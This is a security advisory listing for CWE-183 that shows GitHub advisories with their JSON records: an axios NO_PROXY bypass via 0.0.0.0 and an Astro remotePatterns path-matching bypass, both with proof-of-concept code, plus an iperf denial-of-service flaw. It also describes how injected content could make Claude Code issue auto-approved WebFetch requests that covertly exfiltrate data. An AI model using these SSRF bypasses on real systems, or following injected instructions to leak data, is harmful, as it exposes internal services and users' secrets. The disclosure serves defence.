Common Weakness Enumeration

CWE-183

Allowed

Permissive List of Allowed Inputs

Abstraction: Base · Status: Draft

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input that is unsafe, leading to resultant weaknesses.

93 vulnerabilities reference this CWE, most recent first.

GHSA-F4GW-2P7V-4548

Vulnerability from github – Published: 2026-07-20 22:20 – Updated: 2026-07-20 22:20
VLAI
Summary
Axios: NO_PROXY bypass for 0.0.0.0 local addresses in axios
Details

Summary

Axios versions containing lib/helpers/shouldBypassProxy.js do not treat 0.0.0.0 as a local address when evaluating NO_PROXY rules. In Node.js applications that use HTTP_PROXY or HTTPS_PROXY together with NO_PROXY=localhost,127.0.0.1,::1 or similar, a request to http://0.0.0.0:<port>/ can be routed through the configured proxy instead of bypassing it.

The issue is exploitable when an attacker can influence the axios request URL or a followed redirect target, and when the proxy can reach or relay 0.0.0.0 to local services. This is a Node.js runtime proxy-routing issue, not a browser, install-time, or development-tooling issue.

Impact

Applications are affected when all of the following are true:

  • The application runs axios in Node.js with the HTTP adapter.
  • The process uses environment proxy variables such as HTTP_PROXY or HTTPS_PROXY.
  • The process uses NO_PROXY entries such as localhost, 127.0.0.1, or ::1 to keep local traffic out of the proxy path.
  • Attacker-controlled input can influence the request URL or redirect target.
  • The configured proxy does not reject 0.0.0.0 and can reach the local destination.

For plain HTTP targets, the proxy can receive the full request URL, headers, and body, and may be able to observe the local service response. HTTPS targets are less exposed because axios uses CONNECT tunneling in current versions.

Affected Functionality

Affected functionality is limited to environment-derived proxy selection in the Node HTTP adapter:

  • lib/adapters/http.js calls getProxyForUrl(location) and then shouldBypassProxy(location) before applying the proxy.
  • lib/helpers/shouldBypassProxy.js normalizes and compares NO_PROXY entries.
  • Explicit caller-provided config.proxy remains trusted caller configuration.
  • Browser, React Native, XHR, and fetch adapter behavior are not affected.

Technical Details

lib/helpers/shouldBypassProxy.js defines local loopback equivalence through isLoopback(). The current implementation recognizes localhost, IPv4 127.0.0.0/8, IPv6 ::1, and IPv4-mapped loopback forms, but it does not include 0.0.0.0.

At lib/helpers/shouldBypassProxy.js:176, axios treats two hosts as matching when both are considered loopback:

return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost));

Because isLoopback('0.0.0.0') returns false, NO_PROXY=localhost,127.0.0.1,::1 does not match http://0.0.0.0:<port>/. lib/adapters/http.js:185-193 then applies the environment proxy.

Proof of Concept of Attack

import http from 'http';
import axios from './index.js';

const listen = (handler, host = '127.0.0.1') =>
  new Promise((resolve) => {
    const server = http.createServer(handler);
    server.listen(0, host, () => resolve(server));
  });

const close = (server) => new Promise((resolve) => server.close(resolve));

const origin = await listen((req, res) => res.end('origin'), '0.0.0.0');

let proxyRequests = 0;
const proxy = await listen((req, res) => {
  proxyRequests += 1;
  res.end('proxied');
});

process.env.http_proxy = `http://127.0.0.1:${proxy.address().port}`;
process.env.HTTP_PROXY = process.env.http_proxy;
process.env.no_proxy = 'localhost,127.0.0.1,::1';
process.env.NO_PROXY = process.env.no_proxy;

try {
  const direct = await axios.get(`http://127.0.0.1:${origin.address().port}/`);
  const zero = await axios.get(`http://0.0.0.0:${origin.address().port}/`);

  console.log({ direct: direct.data, zero: zero.data, proxyRequests });
} finally {
  await close(origin);
  await close(proxy);
}

Expected safe behavior: both 127.0.0.1 and 0.0.0.0 bypass the proxy when the NO_PROXY policy is intended to cover local destinations.

Observed behavior: 127.0.0.1 bypasses the proxy, while 0.0.0.0 is sent through the proxy.

Workarounds

  • Add 0.0.0.0 explicitly to NO_PROXY where local addresses must bypass proxies.
  • Reject or normalize 0.0.0.0 in application URL validation before calling axios.
  • Set proxy: false on axios requests that must never use environment proxies.
  • Configure the proxy itself to reject 0.0.0.0, loopback, link-local, and internal address ranges.
Original Report ### Summary `axios` versions 1.15.0–1.16.1 contain an incomplete loopback-address check in `lib/helpers/shouldBypassProxy.js`. The `isLoopback()` function correctly identifies `127.0.0.0/8` and `::1` as loopback addresses but does not recognise `0.0.0.0` — the IPv4 unspecified address, which routes to the local machine on Linux and macOS. An attacker who controls a URL passed to axios can use `http://0.0.0.0/` to bypass proxy-based SSRF filtering that the application relies upon. ### Details ## Affected versions `>= 1.15.0, <= 1.16.1` The vulnerability was introduced in v1.15.0 when the `shouldBypassProxy` helper was added as a security improvement (PR #10661). --- ## Root cause **File:** `lib/helpers/shouldBypassProxy.js` ```javascript // Line 1 — static allowlist (incomplete) const LOOPBACK_HOSTNAMES = new Set(['localhost']); // ← 0.0.0.0 missing const isIPv4Loopback = (host) => { const parts = host.split('.'); if (parts.length !== 4) return false; if (parts[0] !== '127') return false; // ← 0.0.0.0: parts[0] = '0' → false return parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255); }; const isLoopback = (host) => { if (!host) return false; if (LOOPBACK_HOSTNAMES.has(host)) return true; // ← '0.0.0.0' not in set if (isIPv4Loopback(host)) return true; // ← returns false for 0.0.0.0 return isIPv6Loopback(host); }; isLoopback('0.0.0.0') returns false. Node's WHATWG URL parser does not normalise 0.0.0.0 to 127.0.0.1. Other bypass forms are safe: new URL('http://0177.0.0.1/').hostname → '127.0.0.1' (octal), new URL('http://2130706433/').hostname → '127.0.0.1' (decimal), new URL('http://0x7f000001/').hostname → '127.0.0.1' (hex). Only 0.0.0.0 escapes normalisation. ### PoC 'use strict'; // Verbatim copy of relevant logic from axios v1.16.1 shouldBypassProxy.js const LOOPBACK_HOSTNAMES = new Set(['localhost']); const isIPv4Loopback = (host) => { const parts = host.split('.'); if (parts.length !== 4) return false; if (parts[0] !== '127') return false; return parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255); }; const isLoopback = (host) => { if (!host) return false; if (LOOPBACK_HOSTNAMES.has(host)) return true; return isIPv4Loopback(host); }; // 1. Show URL parser does NOT normalise 0.0.0.0 console.log(new URL('http://0.0.0.0/').hostname); // → '0.0.0.0' ← NOT normalised console.log(new URL('http://0177.0.0.1/').hostname); // → '127.0.0.1' ← normalised (safe) console.log(new URL('http://2130706433/').hostname); // → '127.0.0.1' ← normalised (safe) // 2. Show isLoopback fails for 0.0.0.0 console.log(isLoopback('0.0.0.0')); // → false ← BUG: should be true console.log(isLoopback('127.0.0.1')); // → true ← correct Verified output on Node.js v22 / axios v1.16.1: 0.0.0.0 ← NOT normalised by URL parser 127.0.0.1 ← octal normalised correctly 127.0.0.1 ← decimal normalised correctly false ← 0.0.0.0 not detected as loopback ⚠ true ← 127.0.0.1 correctly detected ### Impact Applications that: Accept user-supplied URLs and pass them to axios Use a proxy with NO_PROXY=localhost (or similar) for SSRF filtering …can be bypassed by supplying http://0.0.0.0/. Axios routes the request through the proxy (shouldBypassProxy returns false). If the proxy itself does not filter 0.0.0.0, the connection reaches the local machine — exposing internal services such as cloud IMDS endpoints, internal admin panels, or microservice APIs. Fix Minimal (one line): - const LOOPBACK_HOSTNAMES = new Set(['localhost']); + const LOOPBACK_HOSTNAMES = new Set(['localhost', '0.0.0.0']); Comprehensive: const isIPv4Unspecified = (host) => host === '0.0.0.0'; const isLoopback = (host) => { if (!host) return false; if (LOOPBACK_HOSTNAMES.has(host)) return true; if (isIPv4Loopback(host)) return true; if (isIPv4Unspecified(host)) return true; // add this line return isIPv6Loopback(host); };
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.15.0"
            },
            {
              "fixed": "1.18.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.31.0"
            },
            {
              "fixed": "0.33.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T22:20:18Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nAxios versions containing `lib/helpers/shouldBypassProxy.js` do not treat `0.0.0.0` as a local address when evaluating `NO_PROXY` rules. In Node.js applications that use `HTTP_PROXY` or `HTTPS_PROXY` together with `NO_PROXY=localhost,127.0.0.1,::1` or similar, a request to `http://0.0.0.0:\u003cport\u003e/` can be routed through the configured proxy instead of bypassing it.\n\nThe issue is exploitable when an attacker can influence the axios request URL or a followed redirect target, and when the proxy can reach or relay `0.0.0.0` to local services. This is a Node.js runtime proxy-routing issue, not a browser, install-time, or development-tooling issue.\n\n## Impact\n\nApplications are affected when all of the following are true:\n\n- The application runs axios in Node.js with the HTTP adapter.\n- The process uses environment proxy variables such as `HTTP_PROXY` or `HTTPS_PROXY`.\n- The process uses `NO_PROXY` entries such as `localhost`, `127.0.0.1`, or `::1` to keep local traffic out of the proxy path.\n- Attacker-controlled input can influence the request URL or redirect target.\n- The configured proxy does not reject `0.0.0.0` and can reach the local destination.\n\nFor plain HTTP targets, the proxy can receive the full request URL, headers, and body, and may be able to observe the local service response. HTTPS targets are less exposed because axios uses CONNECT tunneling in current versions.\n\n## Affected Functionality\n\nAffected functionality is limited to environment-derived proxy selection in the Node HTTP adapter:\n\n- `lib/adapters/http.js` calls `getProxyForUrl(location)` and then `shouldBypassProxy(location)` before applying the proxy.\n- `lib/helpers/shouldBypassProxy.js` normalizes and compares `NO_PROXY` entries.\n- Explicit caller-provided `config.proxy` remains trusted caller configuration.\n- Browser, React Native, XHR, and fetch adapter behavior are not affected.\n\n## Technical Details\n\n`lib/helpers/shouldBypassProxy.js` defines local loopback equivalence through `isLoopback()`. The current implementation recognizes `localhost`, IPv4 `127.0.0.0/8`, IPv6 `::1`, and IPv4-mapped loopback forms, but it does not include `0.0.0.0`.\n\nAt `lib/helpers/shouldBypassProxy.js:176`, axios treats two hosts as matching when both are considered loopback:\n\n```js\nreturn hostname === entryHost || (isLoopback(hostname) \u0026\u0026 isLoopback(entryHost));\n```\n\nBecause `isLoopback(\u00270.0.0.0\u0027)` returns `false`, `NO_PROXY=localhost,127.0.0.1,::1` does not match `http://0.0.0.0:\u003cport\u003e/`. `lib/adapters/http.js:185-193` then applies the environment proxy.\n\n## Proof of Concept of Attack\n\n```js\nimport http from \u0027http\u0027;\nimport axios from \u0027./index.js\u0027;\n\nconst listen = (handler, host = \u0027127.0.0.1\u0027) =\u003e\n  new Promise((resolve) =\u003e {\n    const server = http.createServer(handler);\n    server.listen(0, host, () =\u003e resolve(server));\n  });\n\nconst close = (server) =\u003e new Promise((resolve) =\u003e server.close(resolve));\n\nconst origin = await listen((req, res) =\u003e res.end(\u0027origin\u0027), \u00270.0.0.0\u0027);\n\nlet proxyRequests = 0;\nconst proxy = await listen((req, res) =\u003e {\n  proxyRequests += 1;\n  res.end(\u0027proxied\u0027);\n});\n\nprocess.env.http_proxy = `http://127.0.0.1:${proxy.address().port}`;\nprocess.env.HTTP_PROXY = process.env.http_proxy;\nprocess.env.no_proxy = \u0027localhost,127.0.0.1,::1\u0027;\nprocess.env.NO_PROXY = process.env.no_proxy;\n\ntry {\n  const direct = await axios.get(`http://127.0.0.1:${origin.address().port}/`);\n  const zero = await axios.get(`http://0.0.0.0:${origin.address().port}/`);\n\n  console.log({ direct: direct.data, zero: zero.data, proxyRequests });\n} finally {\n  await close(origin);\n  await close(proxy);\n}\n```\n\nExpected safe behavior: both `127.0.0.1` and `0.0.0.0` bypass the proxy when the `NO_PROXY` policy is intended to cover local destinations.\n\nObserved behavior: `127.0.0.1` bypasses the proxy, while `0.0.0.0` is sent through the proxy.\n\n## Workarounds\n\n- Add `0.0.0.0` explicitly to `NO_PROXY` where local addresses must bypass proxies.\n- Reject or normalize `0.0.0.0` in application URL validation before calling axios.\n- Set `proxy: false` on axios requests that must never use environment proxies.\n- Configure the proxy itself to reject `0.0.0.0`, loopback, link-local, and internal address ranges.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n### Summary\n`axios` versions 1.15.0\u20131.16.1 contain an incomplete loopback-address check in `lib/helpers/shouldBypassProxy.js`. The `isLoopback()` function correctly identifies `127.0.0.0/8` and `::1` as loopback addresses but does not recognise `0.0.0.0` \u2014 the IPv4 unspecified address, which routes to the local machine on Linux and macOS.\n\nAn attacker who controls a URL passed to axios can use `http://0.0.0.0/\u003cpath\u003e` to bypass proxy-based SSRF filtering that the application relies upon.\n\n### Details\n## Affected versions\n\n`\u003e= 1.15.0, \u003c= 1.16.1`\n\nThe vulnerability was introduced in v1.15.0 when the `shouldBypassProxy` helper was added as a security improvement (PR #10661).\n\n---\n\n## Root cause\n\n**File:** `lib/helpers/shouldBypassProxy.js`\n\n```javascript\n// Line 1 \u2014 static allowlist (incomplete)\nconst LOOPBACK_HOSTNAMES = new Set([\u0027localhost\u0027]);   // \u2190 0.0.0.0 missing\n\nconst isIPv4Loopback = (host) =\u003e {\n  const parts = host.split(\u0027.\u0027);\n  if (parts.length !== 4) return false;\n  if (parts[0] !== \u0027127\u0027) return false;   // \u2190 0.0.0.0: parts[0] = \u00270\u0027 \u2192 false\n  return parts.every((p) =\u003e /^\\d+$/.test(p) \u0026\u0026 Number(p) \u003e= 0 \u0026\u0026 Number(p) \u003c= 255);\n};\n\nconst isLoopback = (host) =\u003e {\n  if (!host) return false;\n  if (LOOPBACK_HOSTNAMES.has(host)) return true;   // \u2190 \u00270.0.0.0\u0027 not in set\n  if (isIPv4Loopback(host)) return true;           // \u2190 returns false for 0.0.0.0\n  return isIPv6Loopback(host);\n};\n\nisLoopback(\u00270.0.0.0\u0027) returns false.\n\nNode\u0027s WHATWG URL parser does not normalise 0.0.0.0 to 127.0.0.1. Other bypass forms are safe: new URL(\u0027http://0177.0.0.1/\u0027).hostname \u2192 \u0027127.0.0.1\u0027 (octal), new URL(\u0027http://2130706433/\u0027).hostname \u2192 \u0027127.0.0.1\u0027 (decimal), new URL(\u0027http://0x7f000001/\u0027).hostname \u2192 \u0027127.0.0.1\u0027 (hex). Only 0.0.0.0 escapes normalisation.\n\n\n### PoC\n\u0027use strict\u0027;\n\n// Verbatim copy of relevant logic from axios v1.16.1 shouldBypassProxy.js\n\nconst LOOPBACK_HOSTNAMES = new Set([\u0027localhost\u0027]);\n\nconst isIPv4Loopback = (host) =\u003e {\n  const parts = host.split(\u0027.\u0027);\n  if (parts.length !== 4) return false;\n  if (parts[0] !== \u0027127\u0027) return false;\n  return parts.every((p) =\u003e /^\\d+$/.test(p) \u0026\u0026 Number(p) \u003e= 0 \u0026\u0026 Number(p) \u003c= 255);\n};\n\nconst isLoopback = (host) =\u003e {\n  if (!host) return false;\n  if (LOOPBACK_HOSTNAMES.has(host)) return true;\n  return isIPv4Loopback(host);\n};\n\n// 1. Show URL parser does NOT normalise 0.0.0.0\nconsole.log(new URL(\u0027http://0.0.0.0/\u0027).hostname);    // \u2192 \u00270.0.0.0\u0027   \u2190 NOT normalised\nconsole.log(new URL(\u0027http://0177.0.0.1/\u0027).hostname); // \u2192 \u0027127.0.0.1\u0027 \u2190 normalised (safe)\nconsole.log(new URL(\u0027http://2130706433/\u0027).hostname);  // \u2192 \u0027127.0.0.1\u0027 \u2190 normalised (safe)\n\n// 2. Show isLoopback fails for 0.0.0.0\nconsole.log(isLoopback(\u00270.0.0.0\u0027));   // \u2192 false  \u2190 BUG: should be true\nconsole.log(isLoopback(\u0027127.0.0.1\u0027)); // \u2192 true   \u2190 correct\n\nVerified output on Node.js v22 / axios v1.16.1:\n0.0.0.0     \u2190 NOT normalised by URL parser\n127.0.0.1   \u2190 octal normalised correctly\n127.0.0.1   \u2190 decimal normalised correctly\nfalse       \u2190 0.0.0.0 not detected as loopback  \u26a0\ntrue        \u2190 127.0.0.1 correctly detected\n\n### Impact\nApplications that:\n\nAccept user-supplied URLs and pass them to axios\nUse a proxy with NO_PROXY=localhost (or similar) for SSRF filtering\n\u2026can be bypassed by supplying http://0.0.0.0/\u003cpath\u003e. Axios routes the request through the proxy (shouldBypassProxy returns false). If the proxy itself does not filter 0.0.0.0, the connection reaches the local machine \u2014 exposing internal services such as cloud IMDS endpoints, internal admin panels, or microservice APIs.\n\nFix\nMinimal (one line):\n\n- const LOOPBACK_HOSTNAMES = new Set([\u0027localhost\u0027]);\n+ const LOOPBACK_HOSTNAMES = new Set([\u0027localhost\u0027, \u00270.0.0.0\u0027]);\n\nComprehensive:\n\nconst isIPv4Unspecified = (host) =\u003e host === \u00270.0.0.0\u0027;\n\nconst isLoopback = (host) =\u003e {\n  if (!host) return false;\n  if (LOOPBACK_HOSTNAMES.has(host)) return true;\n  if (isIPv4Loopback(host)) return true;\n  if (isIPv4Unspecified(host)) return true;   // add this line\n  return isIPv6Loopback(host);\n};\n\u003c/details\u003e",
  "id": "GHSA-f4gw-2p7v-4548",
  "modified": "2026-07-20T22:20:18Z",
  "published": "2026-07-20T22:20:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-f4gw-2p7v-4548"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/11000"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/11001"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v0.33.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v1.18.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Axios: NO_PROXY bypass for 0.0.0.0 local addresses in axios"
}

GHSA-FG94-H982-F3MM

Vulnerability from github – Published: 2026-06-17 18:06 – Updated: 2026-07-20 21:10
VLAI
Summary
Claude Code: Out-of-Band Data Exfiltration via Pre-Approved HuggingFace Domain in WebFetch
Details

Because the hostname huggingface.co was pre-approved as a bare hostname for the WebFetch tool, any path on that domain—including attacker-controlled model repositories—was auto-approved without a permission prompt or being subject to --allowedTools restrictions. An attacker able to inject untrusted content into a Claude Code context could direct it to issue WebFetch requests against attacker-controlled repository files (e.g. /resolve/main/config.json), which HuggingFace counts as downloads server-side, creating a covert out-of-band channel for encoding and exfiltrating data Claude can access such as files, environment variables, or command output. Reliably exploiting this required the ability to add untrusted content into a Claude Code context window. Users on standard Claude Code auto-update have received this fix already; users performing manual updates are advised to update to the latest version.

Thank you to hackerone.com/novee for reporting this issue.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@anthropic-ai/claude-code"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.2.54"
            },
            {
              "fixed": "2.1.163"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54316"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-200",
      "CWE-515"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-17T18:06:06Z",
    "nvd_published_at": "2026-06-23T18:18:08Z",
    "severity": "MODERATE"
  },
  "details": "Because the hostname huggingface.co was pre-approved as a bare hostname for the WebFetch tool, any path on that domain\u2014including attacker-controlled model repositories\u2014was auto-approved without a permission prompt or being subject to --allowedTools restrictions. An attacker able to inject untrusted content into a Claude Code context could direct it to issue WebFetch requests against attacker-controlled repository files (e.g. /resolve/main/config.json), which HuggingFace counts as downloads server-side, creating a covert out-of-band channel for encoding and exfiltrating data Claude can access such as files, environment variables, or command output. Reliably exploiting this required the ability to add untrusted content into a Claude Code context window. Users on standard Claude Code auto-update have received this fix already; users performing manual updates are advised to update to the latest version.\n\nThank you to hackerone.com/novee for reporting this issue.",
  "id": "GHSA-fg94-h982-f3mm",
  "modified": "2026-07-20T21:10:30Z",
  "published": "2026-06-17T18:06:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/anthropics/claude-code/security/advisories/GHSA-fg94-h982-f3mm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54316"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/anthropics/claude-code"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Claude Code: Out-of-Band Data Exfiltration via Pre-Approved HuggingFace Domain in WebFetch"
}

GHSA-G636-8HGG-7GX9

Vulnerability from github – Published: 2024-03-18 15:30 – Updated: 2025-11-03 21:31
VLAI
Details

A flaw was found in iperf, a utility for testing network performance using TCP, UDP, and SCTP. A malicious or malfunctioning client can send less than the expected amount of data to the iperf server, which can cause the server to hang indefinitely waiting for the remainder or until the connection gets closed. This will prevent other connections to the server, leading to a denial of service.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-7250"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-18T13:15:06Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in iperf, a utility for testing network performance using TCP, UDP, and SCTP. A malicious or malfunctioning client can send less than the expected amount of data to the iperf server, which can cause the server to hang indefinitely waiting for the remainder or until the connection gets closed. This will prevent other connections to the server, leading to a denial of service.",
  "id": "GHSA-g636-8hgg-7gx9",
  "modified": "2025-11-03T21:31:01Z",
  "published": "2024-03-18T15:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-7250"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:4241"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:9185"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2023-7250"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2244707"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00027.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G735-7G2W-HH3F

Vulnerability from github – Published: 2026-03-26 18:45 – Updated: 2026-03-26 18:45
VLAI
Summary
Astro: Remote allowlist bypass via unanchored matchPathname wildcard
Details

Summary

This issue concerns Astro's remotePatterns path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for /* wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.

Impact

Attackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.

Description

Taint flow: request -> transform.src -> isRemoteAllowed() -> matchPattern() -> matchPathname()

User-controlled href is parsed into transform.src and validated via isRemoteAllowed():

Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/astro/src/assets/endpoint/generic.ts#L43-L56

const url = new URL(request.url);
const transform = await imageService.parseURL(url, imageConfig);

const isRemoteImage = isRemotePath(transform.src);

if (isRemoteImage && isRemoteAllowed(transform.src, imageConfig) === false) {
  return new Response('Forbidden', { status: 403 });
}

isRemoteAllowed() checks each remotePattern via matchPattern():

Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L15-L21

export function matchPattern(url: URL, remotePattern: RemotePattern): boolean {
  return (
    matchProtocol(url, remotePattern.protocol) &&
    matchHostname(url, remotePattern.hostname, true) &&
    matchPort(url, remotePattern.port) &&
    matchPathname(url, remotePattern.pathname, true)
  );
}

The vulnerable logic in matchPathname() uses replace() without anchoring the prefix for /* patterns:

Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L85-L99

} else if (pathname.endsWith('/*')) {
  const slicedPathname = pathname.slice(0, -1); // * length
  const additionalPathChunks = url.pathname
    .replace(slicedPathname, '')
    .split('/')
    .filter(Boolean);
  return additionalPathChunks.length === 1;
}

Vulnerable code flow: 1. isRemoteAllowed() evaluates remotePatterns for a requested URL. 2. matchPathname() handles pathname: "/img/*" using .replace() on the URL path. 3. A path such as /evil/img/secret incorrectly matches because /img/ is removed even when it's not at the start. 4. The image endpoint fetches and returns the remote resource.

PoC

The PoC starts a local attacker server and configures remotePatterns to allow only /img/*. It then requests the image endpoint with two URLs: an allowed path and a bypass path with /img/ in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.

Vulnerable config

import { defineConfig } from 'astro/config';
import node from '@astrojs/node';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
  image: {
    remotePatterns: [
      { protocol: 'https', hostname: 'cdn.example', pathname: '/img/*' },
      { protocol: 'http', hostname: '127.0.0.1', port: '9999', pathname: '/img/*' },
    ],
  },
});

Affected pages

This PoC targets the /_image endpoint directly; no additional pages are required.

PoC Code

import http.client
import json
import urllib.parse

HOST = "127.0.0.1"
PORT = 4321

def fetch(path: str) -> dict:
    conn = http.client.HTTPConnection(HOST, PORT, timeout=10)
    conn.request("GET", path, headers={"Host": f"{HOST}:{PORT}"})
    resp = conn.getresponse()
    body = resp.read(2000).decode("utf-8", errors="replace")
    conn.close()
    return {
        "path": path,
        "status": resp.status,
        "reason": resp.reason,
        "headers": dict(resp.getheaders()),
        "body_snippet": body[:400],
    }

allowed = urllib.parse.quote("http://127.0.0.1:9999/img/allowed.svg", safe="")
bypass = urllib.parse.quote("http://127.0.0.1:9999/evil/img/secret.svg", safe="")

# Both pass, second should fail

results = {
    "allowed": fetch(f"/_image?href={allowed}&f=svg"),
    "bypass": fetch(f"/_image?href={bypass}&f=svg"),
}

print(json.dumps(results, indent=2))

Attacker server

from http.server import BaseHTTPRequestHandler, HTTPServer

HOST = "127.0.0.1"
PORT = 9999

PAYLOAD = """<svg xmlns=\"http://www.w3.org/2000/svg\">
  <text>OK</text>
</svg>
"""

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        print(f">>> {self.command} {self.path}")
        if self.path.endswith(".svg") or "/img/" in self.path:
            self.send_response(200)
            self.send_header("Content-Type", "image/svg+xml")
            self.send_header("Cache-Control", "no-store")
            self.end_headers()
            self.wfile.write(PAYLOAD.encode("utf-8"))
            return

        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.end_headers()
        self.wfile.write(b"ok")

    def log_message(self, format, *args):
        return

if __name__ == "__main__":
    server = HTTPServer((HOST, PORT), Handler)
    print(f"HTTP logger listening on http://{HOST}:{PORT}")
    server.serve_forever()

PoC Steps

  1. Bootstrap default Astro project.
  2. Add the vulnerable config and attacker server.
  3. Build the project.
  4. Start the attacker server.
  5. Start the Astro server.
  6. Run the PoC.
  7. Observe the console output showing both the allowed and bypass requests returning the SVG payload.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "astro"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.10.10"
            },
            {
              "fixed": "5.18.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33769"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T18:45:17Z",
    "nvd_published_at": "2026-03-24T19:16:55Z",
    "severity": "LOW"
  },
  "details": "## Summary\nThis issue concerns Astro\u0027s `remotePatterns` path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for `/*` wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.\n\n## Impact\nAttackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.\n\n## Description\nTaint flow: request -\u003e `transform.src` -\u003e `isRemoteAllowed()` -\u003e `matchPattern()` -\u003e `matchPathname()`\n\nUser-controlled `href` is parsed into `transform.src` and validated via `isRemoteAllowed()`:\n\nSource: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/astro/src/assets/endpoint/generic.ts#L43-L56\n\n```ts\nconst url = new URL(request.url);\nconst transform = await imageService.parseURL(url, imageConfig);\n\nconst isRemoteImage = isRemotePath(transform.src);\n\nif (isRemoteImage \u0026\u0026 isRemoteAllowed(transform.src, imageConfig) === false) {\n  return new Response(\u0027Forbidden\u0027, { status: 403 });\n}\n```\n\n`isRemoteAllowed()` checks each `remotePattern` via `matchPattern()`:\n\nSource: 